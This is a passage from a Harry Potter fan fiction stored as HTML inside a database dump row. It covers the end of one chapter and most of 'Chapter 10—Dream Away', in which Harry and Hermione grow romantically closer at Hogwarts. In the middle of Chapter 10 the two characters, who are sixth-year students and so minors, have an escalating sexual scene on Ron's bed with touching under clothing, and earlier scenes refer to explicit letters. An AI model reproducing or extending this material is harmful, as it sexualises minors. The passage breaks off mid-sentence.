landing, &#8220;Ginny.&#8221; Hermione greeted cold and unfriendly and went into the fifth year girl&#8217;s dorm.&nbsp; Before Harry went into the girl&#8217;s room Ginny stopped him with a gentle hand. He looked into her eyes smiling.</p>\n\n<p>&#8220;Harry are we going to take that walk you promised me?&#8221;</p>\n\n<p>&#8220;Yes, we can go as soon as I&#8217;m done helping Hermione.&#8221;</p>\n\n<p>&#8220;But she said she really doesn&#8217;t need help.&#8221; </p>\n\n<p>&#8220;I know, but I want to.&nbsp; So give me ten minutes and I&#8217;ll be right down.&#8221;</p>\n\n<p>&#8220;Okay, ten minutes.&#8221; Ginny said with confident smile.</p>\n\n<p>****</p>\n\n<p>In the common room Lavender sat on the sofa, while Hermione was sitting on the floor brushing out her wet hair from the shower she had just taken. <i>Yep no more bushy hair for me</i> she thought to herself, it seemed that ever since she had grown in more ways than one, her hair seemed to settle considerably.&nbsp; </p>\n\n<p>Lavender looked over at Hermione, &#8220;so tell me about spring break.&#8221; </p>\n\n<p>&#8220;There&#8217;s nothing to tell.&#8221; Hermione said looking back at Lavender.</p>\n\n<p>&#8220;Oh yes there is, come on Herm. I won&#8217;t say anything. I&#8217;m not Cho, I don&#8217;t spread many rumors. I mostly just listen.&#8221;</p>\n\n<p>&#8220;Oh alright.&#8221; Hermione stood and sat down on the floor against the sofa looking up at Lavender.</p>\n\n<p>Ginny and Harry came through the portrait hole, they walked in saw Lavender braiding Hermione&#8217;s hair as she was talking to her.&nbsp; Both of their faces seemed flushed.&nbsp; &#8220;Oh my Hermione, you really did that?&#8221; Lavender replied taking out the braid and then brushing Hermione&#8217;s hair straight.</p>\n\n<p>&#8220;I couldn&#8217;t believe a person could feel that way with doing so very little.&#8221; Hermione looked down at the fingers in her lap.&nbsp; &#8220;I mean all I did was&#8212;&#8221;&nbsp; She stopped in mid sentence seeing both Ginny and Harry, &#8220;I&#8217;ll tell you later Lavender, okay.&#8221; She whispered.</p>\n\n<p>&#8220;Okay but I want a full report when you come up to bed, is that clear?&#8221; Lavender teased.</p>\n\n<p>&#8220;Yes ma&#8217;am.&#8221; Hermione saluted.</p>\n\n<p>&#8220;Herm don&#8217;t move, you&#8217;ll mess up your new braids.&#8221; </p>\n\n<p>&#8220;Sorry.&#8221; She sat still.</p>\n\n<p>Ginny turned to Harry with a smile, &#8220;well I&#8217;m going up to bed now, I&#8217;ll see you in the morning.&#8221; She stood on her tip toes and was going to give him a quick kiss on the cheek, but he turned catching it on the lips, holding her there for a moment.&nbsp; </p>\n\n<p>After she pulled away Harry smiled down at her, &#8220;well good night then.&#8221;&nbsp; </p>\n\n<p>She started walking up the stairs, Ginny turned one last time to look at Harry.&nbsp; She saw him standing by Lavender talking to her.</p>\n\n<p>&#8220;Lavender, why don&#8217;t you let me do that for awhile.&#8221;&nbsp; He wanted to talk to Hermione about what he had discovered.</p>\n\n<p>Lavender stared, &#8220;you? Do you even know how?&#8221;</p>\n\n<p>&#8220;It doesn&#8217;t matter just hand me the brush and let me try, that is if it&#8217;s alright with you Hermione?&#8221;&nbsp; He looked down as Hermione looked up at him.</p>\n\n<p>Hermione shrugged, &#8220;I don&#8217;t care, whatever.&#8221; </p>\n\n<p>&#8220;Okay then.&#8221; Lavender handed Harry the brush and stood up from the sofa, Harry took Lavender&#8217;s seat.</p>\n\n<p>Lavender stretched up, &#8220;well I&#8217;m going to sleep, I&#8217;ll catch you guys later.&#8221;</p>\n\n<p>&#8220;Night Lavender.&#8221; She smiled.</p>\n\n<p>Lavender went up the stairs and saw Ginny staring down, &#8220;Ginny, what are you doing?&#8221;</p>\n\n<p>&#8220;Nothing, I was just wondering when do you know you&#8217;re in love with someone?&#8221; Ginny started walking all the way up the stairs with Lavender.</p>\n\n<p>&#8220;Well from my experience, I&#8217;d say when you feel love, everyone else around you always comes second. The one you love is always first on your mind when you wake up and last before you fall asleep at night. You always feel the need to protect the one you love from anything that would cause pain or suffering.&nbsp; There&#8217;s so many things that you can describe to say if your in love or not. Why do you ask, you&#8217;re not in love are you?&#8221;</p>\n\n<p>&#8220;Not really I was just testing, and seeing if I was.&nbsp; But I have a suspicion of who very well could be.&#8221; She smiled.&nbsp; Ginny looked down at the back of Harry&#8217;s head, she could see him taking out those silly braids that lavender put in Hermione&#8217;s hair.&nbsp; She then turned and opened the door to the fourth year girl&#8217;s dorm. Lavender went into her room and closed the door behind her.</p>\n\n<p>Harry brushed out those silly braids, her hair was soft and the brush glided through the strands smoothly. </p>\n\n<p>Hermione&#8217;s eyes closed feeling very content, Harry was sitting with her like they do every night. Nothing was different, Ginny was in bed, Ron was in bed too.&nbsp; She knew no matter what she did and who she was with, she would never get over him. She will be miserable for the rest of her life.</p>\n\n<p>&#8220;Hermione, I don&#8217;t know exactly where to start.&#8221; He said.</p>\n\n<p>&#8220;Start with what?&#8221; She was snapped from her daze when she heard his voice.</p>\n\n<p>&#8220;Okay I&#8217;m just going to say it, I found those letters of yours to Ron.&#8221; </p>\n\n<p>She turned facing him, &#8220;you did?&#8221; Hermione was horrified, she felt the chunks rising up in her throat.</p>\n\n<p>&#8220;I just want to know what was going through your mind, why would you do that with a person you really didn&#8217;t care that much about?&#8221;</p>\n\n<p>That was a fair question, &#8220;well I do care about him a little. He&#8217;s been my neighbor for a long time. I was always trying to get his attention somehow. I guess it finally worked.&#8221;</p>\n\n<p>&#8220;Well I personally think you got a little more than just his attention.&#8221; </p>\n\n<p>Hermione looked to the floor, her cheeks flushing. &#8220;yeah I guess so,&#8221;</p>\n\n<p>&#8220;I suppose I was shocked when having read those, which I can&#8217;t believe you even wrote, and to Ron. Why did you do that?&#8221;</p>\n\n<p>&#8220;Ron is a very typical guy, he wants to know anything and everything. I first wrote and said that I was going to spend time with my neighbor Carlo, he wrote back to me saying, what like dating?&nbsp; And I wrote back yeah I guess so.&#8221; Hermione looked up at Harry, &#8220;He said well if you do date him I want to know every little thing that goes on, especially the hot stuff. So I wrote back asking you want me to tell you everything, hold nothing back?&nbsp; Which he said, of course. So I wrote exactly what happened in a way that would shock him senseless and that he would never ask me something so personal ever again.&#8221;</p>\n\n<p>&#8220;Yeah well it backfired you have Ron waiting for the next installment while having shocked me senseless.&#8221;</p>\n\n<p>&#8220;Sorry the letters really weren&#8217;t intended for you, especially since Ron wrote saying that if you did hear about my spring break that you would flip out, I never got an answer on why he said that though.&#8221;</p>\n\n<p>&#8220;Well you know Ron always exaggerating.&#8221; He lied hoping she couldn&#8217;t tell that he was.&nbsp; She seemed to always know when he was telling a fib.</p>\n\n<p>Hermione searched Harry&#8217;s eyes for the truth, <i>liar</i>. She thought to herself.&nbsp; &#8220;Well I&#8217;m glad you accepted it like a friend would, and not jump down my throat with all that stuff you pulled with Justin, even though I admit I made a horrible mistake with Justin. Still you didn&#8217;t interfere and I appreciate that.&#8221;&nbsp; She glanced down for a moment.</p>\n\n<p>&#8220;Oh believe me I wanted to interfere, but I didn&#8217;t.&#8221;&nbsp; </p>\n\n<p>&#8220;And that&#8217;s a good thing.&#8221; She smiled.</p>\n\n<p>&#8220;Did I tell you yet today that it&#8217;s kinda nice having you back here? It just wasn&#8217;t the same without you.&#8221;</p>\n\n<p>Hermione nodded, &#8220;yes I think you already said that, a few times today in fact. When I first got in, also while you were helping me unpack my things.&nbsp; So yes you pretty much covered the welcome back Hermione.&#8221; She smiled.</p>\n\n<p>Yes there was something slightly different about her, but he couldn&#8217;t place his finger on it.</p>\n\n<p>&#8212;&#8220;Harry, Harry are you okay?&#8221; Hearing his name being called Harry was immediately brought back to the present his fifth year memories of Hermione were gone. And she was now was standing above him waving her hand in front of his face to get his attention. He looked up at her, her brown eyes twinkling.&nbsp; She smiled.</p>\n\n<p>===== </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;You all just knew it didn&#8217;t you J, well stay tuned for Chapter 10 &#8211; Dream Away&nbsp; Please Read and Review thanks, Ryoko</p> '),
	(41, 10, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Disclaimer: Alright all the Harry Potter characters belong to\nJ.K. Rowlings, except for the plot, Zara, Jewel,\nEnrique, Jasmine, Ulrich, Torrin, Alina,, Leelee, Kai, Finley and Orvin.&nbsp; Those are mine. So please don&#8217;t sue me\nbecause I don&#8217;t have anything</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:13.5pt" align="center">Chapter 10&#8212;Dream Away</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8212;&#8220;Harry,\nHarry are you okay?&#8221; Hearing his name being called Harry was immediately\nbrought back to the present, his fifth year memories of Hermione were gone. And\nshe was now standing above him waving her hand in front of his face to get his\nattention. He looked up at her, her brown eyes twinkling.&nbsp; She smiled.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Uh\nyeah, I&#8217;m alright.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">She\ngrinned, &#8220;Oh good I thought you were dead.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Okay,\nwhy would you think that?&#8221; He said curiously, still looking up at her.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Well\nyou were staring off into space, not blinking or anything. Just staring.&#8221; She\nmade a hand gesture looking dramatically up towards the ceiling.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\nnodded, &#8220;I was just thinking.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;What\nabout?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;You\nmostly.&#8221; He said with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nmade a tiny laugh &#8220;me, boy you see me enough as it is.&nbsp; I shouldn&#8217;t be crowding your thoughts too.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Hey,\nI like thinking about you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nsat down next to him, &#8220;well I&#8217;m done with my research, for tonight anyway.&#8221; She\nleaned her head against the sofa cushion.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\nturned completely; facing her &#8220;you know what we haven&#8217;t done in awhile?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">She\nclosed her eyes lightly then opened them, &#8220;no.&#8221; Hermione turned her head\nlooking at him, &#8220;what?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;We\nhaven&#8217;t gone to Hogsmeade since we&#8217;ve been back at school, would you like to\ngo?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Sure\nbut what about Ron, wouldn&#8217;t he like to go too?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\nsuppose so, why are you so worried about what Ron wants to do?&#8221; Harry&#8217;s eyes\nnarrowed slightly with suspicion.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nsaw that look, &#8220;oh Harry put that face away.&nbsp;\nIt&#8217;s just I&#8217;ve been feeling a little guilty you know. Ever since it&#8217;s\nbeen you and me, I feel we&#8217;re leaving him out. And he is still our friend\nright?&#8221;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Yes\nhe&#8217;s still our friend.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Then\ninvite him along, I&#8217;m sure there will be some time where it&#8217;s just you and me.&#8221;\nHermione said with a smile cuddling a little closer to him.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;The\nnext time I see him I&#8217;ll ask him if he wants to go,&#8221; He put an arm around her\npulling her against him.&nbsp; For some reason\nHermione&#8217;s necklace popped into his mind, &#8220;Hermione I still have that necklace\nyou found.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">She\nsat up straight looking at him, &#8220;you do? I had almost forgotten about that\nnecklace.&#8221; Hermione smiled briefly.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Well\ndo you still want it?&#8221; he reached out and moved the few strands of Hermione&#8217;s\nhair off her forehead.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">She\nnodded.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Well\nlet me go get it.&#8221; He started to stand and Hermione stood too. He stared at her\nnot knowing what or where she was going, &#8220;what are you doing?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I&#8217;m\ngoing with you.&#8221; Hermione simply said.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Oh\nI don&#8217;t really think you should.&#8221; Harry was cautious, he didn&#8217;t know if it was\na really good idea of her to go into a bedroom with him.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Why\nnot, it&#8217;s not like I&#8217;ve never been in the boy&#8217;s dorm with you before.&#8221;&nbsp; She pointed out. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">That\nwas true, but things were different now.&nbsp;\nYet they were only going to get the necklace and then leave.&nbsp; He nodded, &#8220;Alright then.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">They\nboth walked up to the six year boy&#8217;s room, Harry opened the door and they\nwalked inside.&nbsp; &#8220;Let me think where I put\nit.&#8221;&nbsp; He walked over to his bed area and\nstarted looking around.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nwent over to the bed next to Harry&#8217;s which was Ron&#8217;s and sat on the edge, she started\nlooking through his things.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\nheard rustling of papers and he stood up from off his knees, he turned to see\nHermione going through Ron&#8217;s things.&nbsp;\n&#8220;What are you doing?&#8221; he laughed slightly.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Nothing\nreally, just seeing what deep dark secrets our friend is hiding.&nbsp; Go about your business, I&#8217;ll go about mine.&#8221;\nShe smirked.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Just\nto let you know last time I went through his things I found those none to\npleasing letters of yours.&nbsp; So I would be\ncareful going through Ron&#8217;s things you never know what you&#8217;re going to find.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Well\nif I find those letters I won&#8217;t be shocked, since I wrote them.&#8221; She continued\nlooking through Ron&#8217;s drawers.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\nshook his head in amusement and went back looking for the necklace.&nbsp; He could hear Hermione searching through\neverything, and she wasn&#8217;t even trying to be discreet or quiet about it.&nbsp; She was probably making a bigger mess than\nRon ever did.&nbsp; &#8220;Oh Ron you bad boy,&#8221; He\nheard her say. The room went silent.&nbsp;\nThere were no more movements, only the sounds of turning pages.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\ndon&#8217;t see what you guys see in reading this kind of entertainment.&#8221; Hermione\nbroke the silence. &#8220;It does nothing for me.&#8221; She said teasing.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\nturned to find Hermione reading one of the many magazines that Ron\ncollected.&nbsp; Harry knew that Ron had\nlearned the joy of adult muggle magazines, probably getting them from Dean\nThomas since he lived as a muggle during the summer holidays.&nbsp; &#8220;Hermione don&#8217;t read that.&#8221; He walked over to\nher holding the necklace in his hand.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Why\nnot?&#8221; She looked up at him for a moment and then back at the article.&nbsp; &#8220;Now this is interesting, fifteen ways to&#8212;&#8221;\nshe was interrupted by Harry pulling the magazine from her hands.&nbsp; &#8220;Hey, what&#8217;s the big idea?&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Alright\nno more reading for you,&#8221; he rolled the magazine up into a cone and put it back\nin Ron&#8217;s drawer and closed it.&nbsp; Harry sat\ndown next to her.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Oh\nyou&#8217;re no fun.&#8221; She pouted crossing her arms.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\nam lots of fun.&#8221; He held the necklace in his open hand. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nuncrossed her arms glancing down at the necklace in Harry&#8217;s hand, &#8220;wow I hadn&#8217;t\nremembered it was so lovely.&#8221;&nbsp; She gazed\nat the piece of jewelry.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\nwas staring down but not at the necklace but at Hermione, watching her taking\nit he felt her fingers lightly brush against the palm of his hand sending a\npowerful wave through him. Hermione held the necklace in her hand admiring it.\nHarry wanted to reach out and hold her, kiss her.&nbsp; He took in a quick breath watching her\nunclasp the ends of the silver braided chain and set it around her neck.&nbsp; His gaze roamed over her face as Hermione&#8217;s\nfingers glided over the smooth opal.&nbsp; She\nthen looked up at him, their eyes met, locked.&nbsp;\nHer golden gaze almost commanding him. He took a deep breath wanting\nmore than ever to press her down against the bed and&#8212;<i style="mso-bidi-font-style:\nnormal">not now! </i>His head interrupted those thoughts, but he pushed away\nthat thought he was so not going to listen to it. Harry looked over at Hermione\nwho got to her feet.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;&#8220;Thanks for giving the necklace back to me\nHarry, I suppose I&#8217;ll go now.&#8221; Hermione smiled and started walking towards the\ndoor, she opened it to leave but a hand slammed it shut again.&nbsp; Her heart jumped into her throat not even\nnoticing that Harry had come up behind her.&nbsp;\nShe could feel his gaze on her, penetrating, direct. She could not bring\nherself to turn and look at him, instead she stared at the door &#8220;I really\nshould go now.&#8221;&nbsp; Hermione felt his hands\ncome down gently on her shoulders.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;You\ndon&#8217;t have to leave yet, you can just stay here with me for a little while\nlonger.&#8221; he pressed a tiny kiss on one of her sensitive spots just below her\near. &#8220;Cant you?&#8221; Harry whispered.&nbsp; Then\ntrailed his lips down the side of her neck.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione&#8217;s\neyes closed feeling his mouth against her thinking that she should leave, yes\nshe should.&nbsp; <i style="mso-bidi-font-style:\nnormal">Right now!! </i>Her head shouted a command.&nbsp; She turned, looking up at him she could see\nhis green eyes were now darker, wanting her. She was just a little taken back\nby this. She had never seen him like this before it was a little startling.&nbsp; &#8220;Harry, I&#8212;&#8221; she was silenced when he reached\nout and she was pulled up against him. His arms wrapping around her,&nbsp; Looking up at him she started to say &#8220;I think\nI &#8212;&#8221; Staring into his green eyes her words were lost, not to mention the rest\nof her mind as well. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\nheld nothing back as his mouth claimed hers hot, devouring, and pressing\nagainst then opening hers.&nbsp; His tongue\nthrust inside, strong and hard.&nbsp; Their\nmouths melded.&nbsp; Hermione was kissing him\nback just as frantically. Her heart beating wildly, she had never felt like\nthis before.&nbsp; No matter what she had done\nin the past this felt all new, all captivating. Her arms went around him,\nholding him so tightly as she lost the use of her legs entirely.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">She\ndid not know when and exactly how she had come to be lying on her back in the\nsoftness of a bed with Harry on top of her still drowning in his kiss. That\npart was all a blur, but Hermione was so very aware of his fingers at the\nbuttons of her blouse, she broke the kiss feeling his, hands, fingertips,\ncaressing her on top the lace fabric covering her breasts.&nbsp; She gasped as his fingers dipped into the\nfabric coming in contact with her skin. Hermione swiftly grabbed his face\nwithin her hands and pulled his mouth against hers.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">After\na few moments of teasing and tasting the sweetness of her lips, her mouth.&nbsp; He trailed soft, sensual kisses down her\nthroat.&nbsp; Feeling his pulse quicken, Harry\nlifted his head, looking down at her he breathed in deeply. &#8220;Hermione.&#8221; He\nbreathed her name lightly, almost not able to speak.&nbsp; Hermione opened her eyes and looked up at\nhim, her gaze enraptured and craving his touch.&nbsp;\nThat was what he wanted to see.&nbsp;\nThat look. That impassioned look.&nbsp;\nShe was so beautiful.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Harry&#8221;\nhe heard Hermione softly say staring into her eyes, he felt her palm flatten\nagainst his chest, slowly sliding downward.&nbsp;\nHis gaze was still connected with hers as he felt her hands on the\nwaistband of his pants, Harry looked down briefly, watching her other hand come\nup and unbutton them.&nbsp; He lifted his gaze\nto hers, staring intently as her hand slipped into them.&nbsp; His eyes closed in feeling her hand around\nhim, he threw his head back gasping. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nwas breathing sharply now, she reached up with her other hand, under his shirt\ncaressing his chest, stomach. Just simply letting her hand wander all over\nhim.&nbsp; She felt his heart beat quicken\nwith each movement she made. Hermione loved the way he felt, the way he\nmoved.&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">His\ngaze flew open.&nbsp; Both staring at each\nother, their gazes intently locked. &nbsp;Harry had lost all restraint with feeling her\ntouching him, arousing him.&nbsp; He clutched\nher face with his hands, his mouth came together again with hers hot, wanting,\nneeding, in another powerful thrusting kiss.&nbsp;\nHis palm slid down her side, underneath her skirt, resting on her inner\nthigh.&nbsp; Hermione broke the kiss crying\nout, gasping as his fingers came to a halt just before her&#8212;a loud cough was\nheard alerting them to someone else in the room.&nbsp; They both looked up and found Ron standing\nthere with a smirk across his face.&nbsp; Both\nHarry and Hermione&#8217;s faces were increasing in color.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\nreally hate to be the party pooper here, but that is my bed. And if you two are\ngoing to do that I would appreciate it if you would do it on your own bed\nHarry.&#8221;&nbsp; He stared.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Not\neven a second later Zara came into the room and gasped, her face flushed bright\nred and she turned to look away.&nbsp; &#8220;Sorry\nguys.&#8221; Zara then looked back at them briefly trying not to stare. &#8220;Hermione I\nneed to speak to you and Harry right now.&#8221; She said very seriously.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ron\ngrabbed Zara&#8217;s arm and started steering her from the room &#8220;let&#8217;s give them a\nminute huh?&#8221; Ron pulled Zara from the room and closed the door behind him.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\ngot to his feet and fastening his pants back together and straightening his\nshirt, he glanced looked down at Hermione who seemed embarrassed at getting\ncaught like this by Ron and Zara.&nbsp; &#8220;Are\nyou alright?&#8221; He asked&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nlooked up at him, her cheeks flushed &#8220;yeah I&#8217;m alright, how about you?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Well\naside from being really, really frustrated right now, I&#8217;m fine.&#8221; He winked with\na smile.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Doesn&#8217;t\nRon have the greatest timing?&#8221; Hermione was sarcastic.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\nlaughed lightly &#8220;Oh, there will be another time.&#8221; He leaned over and kissed her\nlightly.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;He saw her smiling at him and he held his hand\nout for her to take.&nbsp; And she did. They\nleft the room to find Ron and Zara waiting down in the common room. They both\nsat down on the sofa looking up at Zara and Ron.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;What\ndid you want to talk to us about Zara?&#8221; Hermione asked pleasantly.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Zara\nlooked between the two of them, her mind in careful thought.&nbsp; She stood and started pacing back and forth,\nher hands slapped behind her back.&nbsp; She\nstopped and looked at them, &#8220;are you two prepared.&#8221; Zara made a little hand\ngesture.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Prepared?&#8221;\nRon asked, &#8220;prepared for what?&#8221; He had no clue to what Zara was talking about.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Yes\nprepared,&#8221; Zara said.&nbsp; &#8220;Prepared, so that\nno one ends up popping out children.&#8221; She said looking between the two of them\nand then at Ron. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ron\nnodded knowing now what she meant, &#8220;yeah when I walked in, it was going on\npretty heavy. You two are actually quite lucky I came in&#8221; He gloated with 